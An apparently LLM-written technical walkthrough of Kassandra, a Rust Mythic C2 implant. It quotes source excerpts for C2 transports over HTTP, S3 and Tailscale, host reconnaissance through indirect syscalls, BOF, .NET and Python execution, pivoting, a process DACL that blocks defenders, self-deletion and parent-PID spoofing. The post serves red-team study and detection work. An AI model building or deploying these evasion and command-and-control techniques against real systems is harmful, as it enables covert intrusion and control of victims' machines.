Kassandra: Anatomy of a Rust C2 Agent
This post walks through the architecture of Kassandra, a Mythic C2 agent written in Rust. It covers the agent’s startup sequence, its three transport mechanisms (HTTP, S3, and Tailscale), how build-time config templating works, the task dispatch system, subprocess isolation for dangerous payloads, and the AES-256-CBC crypto layer. All code is from the actual repository.
The Startup Sequence in main.rs
The entry point in main.rs reveals the full lifecycle of the agent in about 40 lines. The first thing it checks is whether the current process is a worker subprocess, not the main agent:
// From: kassandra/src/main.rs
fn main() {
// Worker subprocess mode -- run payload and exit without any agent init.
let args: Vec<String> = std::env::args().collect();
if args.len() >= 2 {
match args[1].as_str() {
"--worker-bof" => {
worker::run_bof_worker();
return;
}
"--worker-dot" => {
worker::run_dot_worker();
return;
}
"--worker-py" => {
worker::run_py_worker();
return;
}
_ => {}
}
}
selfprotect::set_process_security_descriptor();
// ...
}
This branching is central to Kassandra’s isolation model. When the agent needs to run a BOF, .NET assembly, or Python script, it re-launches itself with a --worker-* flag. The child process runs the payload, writes output to stdout/stderr, and exits. If the payload crashes, only the worker dies. The main agent process continues running. More on this in the subprocess isolation section below.
After the worker check, the agent calls selfprotect::set_process_security_descriptor(), which sets a restrictive DACL on its own process handle to block other user-mode processes from opening it [1]:
// From: kassandra/src/selfprotect/mod.rs
pub fn set_process_security_descriptor(){
let sddl: Vec<u16> = OsStr::new(
"D:P\
(D;OICI;GA;;;WD)\
(A;OICI;GA;;;SY)\
(A;OICI;GA;;;OW)"
).encode_wide().chain(Some(0)).collect();
// ...
let set_result = unsafe {
SetKernelObjectSecurity(
process_handle,
DACL_SECURITY_INFORMATION,
security_descriptor,
)
};
// ...
}
The SDDL string denies GA (Generic All) to WD (Everyone), while allowing it only for SY (SYSTEM) and OW (Owner). This makes it harder for defenders or other processes to inspect or terminate the agent via OpenProcess [2].
After self-protection, the agent initializes its transport layer, performs a checkin with the Mythic server, and enters the task loop:
// From: kassandra/src/main.rs
// Tailscale initialization (join tailnet before any communication)
#[cfg(feature = "tailscale")]
if config::use_tailscale {
loop {
match tailscale_transport::init() {
Ok(_) => break,
Err(e) => {
eprintln!("[TS] Tailscale init failed: {}, retrying...", e);
helpers::sleep_with_jitter();
}
}
}
}
// S3 bootstrap registration (get per-execution IAM credentials)
if config::use_s3 {
loop {
match s3_transport::register() {
Ok(_) => break,
Err(e) => {
eprintln!("[REG] Registration failed: {}, retrying...", e);
helpers::sleep_with_jitter();
}
}
}
}
checkin::checkin();
loop {
if let Err(e) = tasking::getTasking() {
eprintln!("Tasking error: {}", e);
}
helpers::sleep_with_jitter();
}
Both transport initialization steps retry indefinitely with jitter. The Tailscale path is conditionally compiled behind a feature flag. The S3 path runs a bootstrap registration to exchange temporary credentials for execution-scoped IAM credentials. After either transport is ready, the agent checks in and enters the main loop: poll for tasks, execute them, sleep with jitter, repeat.
Build-Time Config Templating
Kassandra’s configuration lives in config.rs as a set of static values with placeholder strings:
// From: kassandra/src/config.rs
pub static UUID: Lazy<RwLock<String>> = Lazy::new(|| RwLock::new(String::from("%UUID%")));
pub static callback_host: &str = "%HOSTNAME%";
pub static post_uri: &str = "%ENDPOINT%";
pub static callback_port: &str = "%PORT%";
pub static user_agent: &str = "%USERAGENT%";
pub static callback_interval: u64 = %SLEEPTIME%;
pub static callback_jitter: u64 = %JITTER%;
pub static chunk_size: usize = %CHUNKSIZE%;
The Mythic build system runs builder.py, which performs string replacement on these %PLACEHOLDER% tokens before compilation. The final binary has all configuration baked into the data section as literal values. No config files on disk, no command-line arguments to intercept.
The same pattern applies to S3 and Tailscale configuration:
// From: kassandra/src/config.rs
// S3 Storage C2 configuration (stamped at build time)
pub static use_s3: bool = %USE_S3%;
pub static s3_endpoint: &str = "%S3_ENDPOINT%";
pub static s3_bucket: &str = "%S3_BUCKET%";
pub static s3_region: &str = "%S3_REGION%";
// Tailscale C2 configuration (stamped at build time)
pub static use_tailscale: bool = %USE_TAILSCALE%;
pub static ts_auth_key: &str = "%TS_AUTH_KEY%";
pub static ts_control_url: &str = "%TS_CONTROL_URL%";
Runtime-mutable state (the agent UUID, session encryption key, and S3 execution credentials) uses Lazy<RwLock<T>> from once_cell:
// From: kassandra/src/config.rs
pub static SESSION_KEY: Lazy<RwLock<Vec<u8>>> = Lazy::new(|| RwLock::new(Vec::new()));
pub static S3_EXEC_ACCESS_KEY: Lazy<RwLock<String>> = Lazy::new(|| RwLock::new(String::new()));
pub static S3_EXEC_SECRET_KEY: Lazy<RwLock<String>> = Lazy::new(|| RwLock::new(String::new()));
The UUID starts as the payload UUID stamped at build time, then gets replaced with a callback UUID after the initial checkin succeeds.
Three Transport Mechanisms
Kassandra supports three transports: HTTP, S3, and Tailscale. The routing logic lives in transport.rs, which acts as a dispatcher:
// From: kassandra/src/transport.rs
pub fn send_request(payload: &str) -> Result<String, Box<dyn std::error::Error>> {
#[cfg(feature = "tailscale")]
if config::use_tailscale {
return tailscale_transport::send_request(payload);
}
if config::use_s3 {
s3_transport::send_and_receive(payload)
} else {
send_request_internal(payload, true)
}
}
This pattern repeats across four variants: send_request, send_request_raw, send_request_with_response, and send_request_with_response_raw. The Tailscale check is conditionally compiled. At runtime, if use_s3 is true, S3 handles the request. Otherwise, it falls through to direct HTTP.
HTTP Transport
The HTTP transport uses reqwest in blocking mode. Messages are prepended with the agent UUID, base64-encoded, and POST’d to the configured callback URL:
// From: kassandra/src/transport.rs
fn send_request_internal(payload: &str, encode: bool) -> Result<String, Box<dyn std::error::Error>> {
let uuid = config::UUID.read().unwrap();
let full_msg = format!("{}{}", *uuid, payload);
let encoded = if encode {
// ...
general_purpose::STANDARD.encode(full_msg)
} else {
payload.to_string()
};
let url = format!(
"{}://{}:{}/{}",
if config::use_ssl { "https" } else { "http" },
config::callback_host,
config::callback_port,
config::post_uri
);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true)
.build()?;
// ...
}
Certificate validation is disabled (common for C2 agents operating against self-signed infrastructure).
S3 Transport
The S3 transport uses AWS S3 as a dead-drop communication channel. It implements full AWS Signature Version 4 request signing [3] with HMAC-SHA256:
// From: kassandra/src/s3_transport.rs
fn signing_key(secret: &str, date_stamp: &str, region: &str) -> Vec<u8> {
let k_date = hmac_sha256(format!("AWS4{}", secret).as_bytes(), date_stamp.as_bytes());
let k_region = hmac_sha256(&k_date, region.as_bytes());
let k_service = hmac_sha256(&k_region, b"s3");
hmac_sha256(&k_service, b"aws4_request")
}
Communication follows a request/response pattern using S3 object keys. The agent writes a message to {prefix}/ats/{msg_id}.obj (agent-to-server), then polls {prefix}/sta/{msg_id}.obj (server-to-agent) until the Mythic server deposits a response:
// From: kassandra/src/s3_transport.rs
pub fn send_and_receive(payload: &str) -> Result<String, Box<dyn std::error::Error>> {
// ...
let msg_id = uuid::Uuid::new_v4().to_string();
let ats_key = format!("{}/ats/{}.obj", prefix, msg_id);
let sta_key = format!("{}/sta/{}.obj", prefix, msg_id);
// Upload message
s3_op("PUT", &ats_key, &send_data, &ak, &sk)?;
// Poll for response
loop {
crate::helpers::sleep_with_jitter();
match s3_op("GET", &sta_key, b"", &ak, &sk)? {
Some(data) => {
let _ = s3_op("DELETE", &sta_key, b"", &ak, &sk);
// ...
return Ok(response_text);
}
None => continue,
}
}
}
The S3 transport adds a bootstrap registration phase. On first run, the agent uses build-time IAM credentials to PUT a registration request, then polls for a .creds file containing scoped execution credentials. Once received, it verifies encrypted key exchange (if a PSK was configured) and switches to the new credentials for all subsequent communication.
Tailscale Transport
The Tailscale transport embeds a Tailscale networking stack via FFI to a Go static library. This gives the agent a private IP on a Tailnet, making all C2 traffic look like legitimate Tailscale/WireGuard traffic:
// From: kassandra/src/tailscale_transport.rs
extern "C" {
fn ts_set_doh(doh_url: *const i8, control_url: *const i8);
fn ts_init(auth_key: *const i8, control_url: *const i8, hostname: *const i8) -> i32;
fn ts_http_post(
url: *const i8,
body: *const u8,
body_len: i32,
resp_buf: *mut u8,
resp_buf_len: i32,
) -> i32;
fn ts_tcp_connect(host: *const i8, port: *const i8) -> i32;
fn ts_tcp_send(
body: *const u8,
body_len: i32,
resp_buf: *mut u8,
resp_buf_len: i32,
) -> i32;
fn ts_close();
}
It supports two sub-protocols: HTTP POST over the Tailnet, and persistent TCP connections with automatic reconnection on failure. The Tailscale feature also supports DNS-over-HTTPS for name resolution, configured via ts_doh_url.
Checkin via Indirect Syscalls
The checkin phase gathers host information and sends it to the Mythic server. What makes it notable is that it avoids Win32 API calls for sensitive operations, using indirect syscalls through Kassandra’s Hell’s Hall implementation instead:
// From: kassandra/src/checkin.rs
pub fn get_hostname_syscall() -> Option<String> {
unsafe {
let hash = crc32h("NtQuerySystemInformation");
let mut syscall = NtSyscall::default();
if !fetch_nt_syscall(hash, &mut syscall) {
return None;
}
SetSSn(syscall.dw_ssn as u16, syscall.p_syscall_inst_address);
// ...
let status: NTSTATUS = RunSyscall(
112u32 as usize as *mut c_void, // SystemComputerNameInformation
&mut info as *mut _ as *mut c_void,
// ...
);
// ...
}
}
The checkin collects hostname (via NtQuerySystemInformation), PID (via NtQueryInformationProcess), and username (via NtOpenProcessToken and NtQueryInformationToken), all through indirect syscalls. Each NT function is resolved by CRC32 hash from the ntdll export table at runtime, with hook detection and SSN extraction. The full Hell’s Hall mechanism is covered in a separate post.
The checkin payload follows the Mythic agent protocol:
// From: kassandra/src/checkin.rs
let checkin_data = serde_json::json!({
"action": "checkin",
"uuid": *config::UUID,
"os": "windows",
"user": username,
"host": hostname,
"pid": get_pid_via_syscall(),
"architecture": "x64",
"domain": std::env::var("USERDOMAIN").unwrap_or_default(),
"ips": ips,
"integrity_level": 2,
"external_ip": "",
"process_name": std::env::current_exe()
.map(|p| p.to_string_lossy().to_string())
.unwrap_or_default(),
});
On success, the server responds with a new callback UUID that replaces the build-time payload UUID for all future communication.
Task Dispatch: 22 Commands
The task loop polls the server and routes each task through a match statement in tasking.rs:
// From: kassandra/src/tasking.rs
pub fn handleTask(task: &serde_json::Value) -> Result<(), Box<dyn std::error::Error>> {
let command = task.get("command").unwrap().as_str().unwrap();
let parameters = task.get("parameters").unwrap().as_str().unwrap();
let timestamp = task.get("timestamp").unwrap().as_f64().unwrap();
let id = task.get("id").unwrap().as_str().unwrap();
let response_value = match command {
"ping" => {
pong::pong(task)?;
return Ok(());
}
"exit" => {
exit::exit(task)?;
return Ok(());
}
"ls" | "rm" | "mkdir" | "mv" | "cp" | "touch" | "pwd" => {
filesystem::handle_fs_command(task)?;
return Ok(());
}
"upload" => { upload::upload(task)?; return Ok(()); }
"download" => { download::download(task)?; return Ok(()); }
"psw" => { psw::handle_ps_command(task)?; return Ok(()); }
"executeBOF" => { executeBOF::executeBOF(task)?; return Ok(()); }
"executeDOT" => { executeDOT::executeDOT(task)?; return Ok(()); }
"executePY" => { executePY::executePY(task)?; return Ok(()); }
"ps" => { list_processes::list_processes(task)?; return Ok(()); }
"start_pivot" => { pivot::startPivotListener(task)?; return Ok(()); }
"stop_pivot" => { pivot::stopPivotListener(task)?; return Ok(()); }
"list_pivot" => { pivot::listPivotListeners(task)?; return Ok(()); }
"screenshot" => { screenshot::screenshot(task)?; return Ok(()); }
"selfdelete" => { selfdelete::selfdelete(task)?; return Ok(()); }
"selfclone" => { selfclone::selfclone(task)?; return Ok(()); }
_ => {
println!("Unknown command: {}", command);
}
};
// ...
}
The full command set breaks down into several categories:
Filesystem: ls, rm, mkdir, mv, cp, touch, pwd. All routed through a single handle_fs_command dispatcher.
File transfer: upload (server to agent) and download (agent to server), both using chunked transfer with configurable chunk size.
Process operations: ps (process listing via NtQuerySystemInformation syscall), psw (process listing with WMI).
Code execution: executeBOF (Beacon Object Files via coffee-ldr), executeDOT (.NET assemblies via CLR hosting with clroxide), executePY (Python scripts with optional embeddable runtime).
Pivot: start_pivot, stop_pivot, list_pivot. Starts an HTTP listener on a specified port that proxies requests to the Mythic server, allowing other agents to route through this one.
Agent lifecycle: ping (keepalive), exit (terminate), selfdelete (delete binary from disk using NTFS alternate data stream rename [4]), selfclone (re-launch with parent PID spoofing), screenshot (GDI-based screen capture).
Network: SOCKS5 proxy support is handled separately from the task dispatcher, processed in its own loop after tasks:
// From: kassandra/src/tasking.rs
if let Some(socks) = json.get("socks") {
for sock in socks.as_array().ok_or("Socks not array")? {
if let Err(e) = socks::handle_socks(sock) {
println!("[SOCKS] Error handling socks: {:?}", e);
}
}
}
Subprocess Isolation for BOF, .NET, and Python Execution
Kassandra’s most distinctive architectural choice is subprocess isolation. When executing a BOF, .NET assembly, or Python script, the agent does not run the payload in-process. Instead, it re-spawns itself with a worker flag:
// From: kassandra/src/features/executeBOF.rs
// 3. Spawn self as isolated worker process so a crash/exit in the
// BOF doesn't take down the agent.
let exe = std::env::current_exe()?;
let worker_input = json!({
"file_bytes": general_purpose::STANDARD.encode(&file_bytes),
"parameters": params.parameters
})
.to_string();
let mut child = std::process::Command::new(&exe)
.arg("--worker-bof")
.stdin(std::process::Stdio::piped())
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.spawn()?;
if let Some(mut stdin) = child.stdin.take() {
stdin.write_all(worker_input.as_bytes())?;
}
let child_output = child.wait_with_output()?;
The worker process reads JSON from stdin containing base64-encoded file bytes and parameters, executes the payload, and writes output to stdout. The parent collects the result and sends it back to the server. If the worker crashes (exit code non-zero), the parent reports the error instead:
// From: kassandra/src/features/executeBOF.rs
let (output, status) = if child_output.status.success() {
(String::from_utf8_lossy(&child_output.stdout).to_string(), "success")
} else {
let stderr = String::from_utf8_lossy(&child_output.stderr);
let stdout = String::from_utf8_lossy(&child_output.stdout);
let msg = format!(
"BOF worker exited with code {:?}{}{}",
child_output.status.code(),
if !stdout.is_empty() { format!("\nstdout: {}", stdout) } else { String::new() },
if !stderr.is_empty() { format!("\nstderr: {}", stderr) } else { String::new() }
);
(msg, "error")
};
The same pattern applies to all three worker types. The BOF worker uses the coffee-ldr crate to load COFF object files. The .NET worker uses clroxide to host the CLR and run assemblies. The Python worker writes the script to a temp directory, resolves a Python interpreter (from PATH or an optional embeddable zip), and executes it:
// From: kassandra/src/worker.rs
fn resolve_python(work_dir: &Path, python_embed_bytes: Option<Vec<u8>>) -> Result<std::process::Command, String> {
if has_python("python") {
return Ok(std::process::Command::new("python"));
}
if has_python("python3") {
return Ok(std::process::Command::new("python3"));
}
if let Some(bytes) = python_embed_bytes {
if let Err(e) = extract_zip(&bytes, work_dir) {
return Err(format!("PY extract error: {:?}", e));
}
let python_path = work_dir.join("python.exe");
if !python_path.exists() {
return Err("PY extract error: python.exe not found in embeddable zip".to_string());
}
return Ok(std::process::Command::new(python_path));
}
Err("PY error: python not found on PATH and no embeddable runtime provided".to_string())
}
The tradeoff is worth noting. Subprocess isolation protects the agent from payload crashes and makes cleanup easier (the worker process exits cleanly). However, it means re-spawning the agent binary for every BOF, .NET, or Python execution, which creates process creation events visible to EDR telemetry.
AES-256-CBC Encryption with HMAC-SHA256
Kassandra uses AES-256-CBC with HMAC-SHA256 for message confidentiality and integrity. The implementation is manual (no high-level cipher mode abstraction), operating on individual blocks:
// From: kassandra/src/crypto.rs
pub fn encrypt_message(key: &[u8], plaintext: &[u8]) -> Vec<u8> {
let (enc_key, mac_key) = derive_keys(key);
let cipher = Aes256::new(GenericArray::from_slice(&enc_key));
let mut iv = [0u8; 16];
getrandom::getrandom(&mut iv).expect("failed to generate random IV");
let padded = pkcs7_pad(plaintext);
let mut ciphertext = Vec::with_capacity(padded.len());
let mut prev = iv;
for chunk in padded.chunks(16) {
let mut xored = [0u8; 16];
for i in 0..16 { xored[i] = chunk[i] ^ prev[i]; }
let mut block = GenericArray::clone_from_slice(&xored);
cipher.encrypt_block(&mut block);
ciphertext.extend_from_slice(block.as_slice());
prev.copy_from_slice(block.as_slice());
}
// ...
}
Key derivation splits a single shared key into separate encryption and MAC keys using HMAC with domain-separation labels:
// From: kassandra/src/crypto.rs
fn derive_keys(key: &[u8]) -> ([u8; 32], [u8; 32]) {
let mut h = new_hmac(key);
h.update(b"s3c2-enc");
let enc_key: [u8; 32] = h.finalize().into_bytes().into();
let mut h = new_hmac(key);
h.update(b"s3c2-mac");
let mac_key: [u8; 32] = h.finalize().into_bytes().into();
(enc_key, mac_key)
}
The wire format is [16-byte IV | ciphertext | 32-byte HMAC tag]. Decryption verifies the HMAC first (using the hmac crate’s constant-time comparison) before decrypting, which is the correct Encrypt-then-MAC construction [5]. PKCS7 padding is used for the final block.
Selfdelete via NTFS Alternate Data Streams
The selfdelete command removes the agent binary from disk while the process is still running. This uses a technique based on NTFS alternate data streams [4]:
// From: kassandra/src/features/selfdelete.rs
fn delete_self_from_disk() -> bool {
unsafe {
// ...
// Step 2: Rename the default data stream to an alternate data stream
let ret = SetFileInformationByHandle(
handle,
FILE_RENAME_INFO,
&rename_info as *const _ as *mut _,
mem::size_of::<FileRenameInfo2>() as u32,
);
CloseHandle(handle);
// ...
// Step 4: Mark for deletion with POSIX semantics
let disposal_info = FileDispositionInfoExData {
flags: FILE_DISPOSITION_FLAG_DELETE | FILE_DISPOSITION_FLAG_POSIX_SEMANTICS,
};
// ...
}
}
The sequence is: open the file with DELETE access, rename its default data stream to a randomly-named ADS (:TICK_COUNT + PID), close the handle, reopen it, then mark it for deletion using FILE_DISPOSITION_FLAG_POSIX_SEMANTICS. POSIX semantics allow deletion while the file is still open by other processes [6].
Selfclone with Parent PID Spoofing
The selfclone command re-launches the agent binary under a different parent process (defaulting to explorer.exe). It uses indirect syscalls to find the target parent and open a handle, then CreateProcessW with an extended startup info attribute list to set PROC_THREAD_ATTRIBUTE_PARENT_PROCESS [7]:
// From: kassandra/src/features/selfclone.rs
fn clone_with_ppid_spoof(parent_handle: HANDLE) -> Result<u32, String> {
unsafe {
// ...
let ret = UpdateProcThreadAttribute(
attr_list_ptr as *mut _,
0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&mut parent_h as *mut _ as LPVOID,
mem::size_of::<HANDLE>(),
ptr::null_mut(),
ptr::null_mut(),
);
// ...
let ret = CreateProcessW(
path_buf.as_ptr(),
ptr::null_mut(),
ptr::null_mut(),
ptr::null_mut(),
FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
// ...
);
// ...
}
}
The result is a new instance of the agent whose parent PID in the process tree points to a legitimate system process, making it less suspicious to process tree analysis.
Dependencies and Build Configuration
The Cargo.toml reveals the full dependency set:
# From: kassandra/Cargo.toml
[dependencies]
reqwest = { version = "0.12", default-features = false, features = ["blocking", "json", "rustls-tls"] }
coffee-ldr = { git = "https://github.com/hakaioffsec/coffee", branch = "main" }
clroxide = "1.1.1"
aes = "0.8"
hmac = "0.12"
sha2 = "0.10"
getrandom = "0.2"
tiny_http = "0.12"
image = { version = "0.24", default-features = false, features = ["png", "ico"] }
zip = "0.6"
[build-dependencies]
cc = "1.2.19"
nasm-rs = "0.3.0"
[features]
default = []
tailscale = []
no_console = []
Key choices: reqwest with rustls-tls (no OpenSSL dependency), coffee-ldr from HakaiSecurity for BOF loading, clroxide for .NET CLR hosting, tiny_http for the pivot listener, nasm-rs for assembling the Hell’s Hall syscall stubs. The no_console feature sets windows_subsystem = "windows" to suppress the console window.
Release builds strip symbols (strip = true) but do not currently use link-time optimization or abort-on-panic.
Limitations and Honest Assessment
The subprocess isolation model creates OPSEC tradeoffs. Every BOF, .NET, or Python execution spawns a child process of the agent binary. This is visible in process creation telemetry and creates a distinctive parent-child pattern.
The transport dispatcher is not trait-based. Each transport implements the same function signatures, but there is no shared trait. This means adding a new transport requires modifying the conditional chain in transport.rs rather than plugging in a new implementation.
The HTTP transport disables certificate validation entirely. While common in C2 tooling, this means the agent is vulnerable to TLS interception if the network path is not trusted.
The selfprotect SDDL only protects against user-mode handle access. Kernel-mode tools and elevated processes with SeDebugPrivilege can still access the agent process [8].
This post was generated by an LLM based on code from Kassandra. All code snippets are from the actual repository. Claims about Windows internals are sourced from Microsoft documentation.
References
[1] Microsoft, “SetKernelObjectSecurity function,” https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-setkernelobjectsecurity
[2] Microsoft, “OpenProcess function,” https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
[3] AWS, “Signature Version 4 signing process,” https://docs.aws.amazon.com/AmazonS3/latest/API/sig-v4-authenticating-requests.html
[4] Microsoft, “NTFS Alternate Data Streams,” https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3
[5] Bellare, M. and Namprempre, C., “Authenticated Encryption: Relations among Notions and Analysis of the Generic Composition Paradigm,” https://eprint.iacr.org/2000/025
[6] Microsoft, “FILE_DISPOSITION_INFO_EX structure,” https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/ns-ntddk-_file_disposition_information_ex
[7] Microsoft, “UpdateProcThreadAttribute function,” https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute
[8] Microsoft, “Process Security and Access Rights,” https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights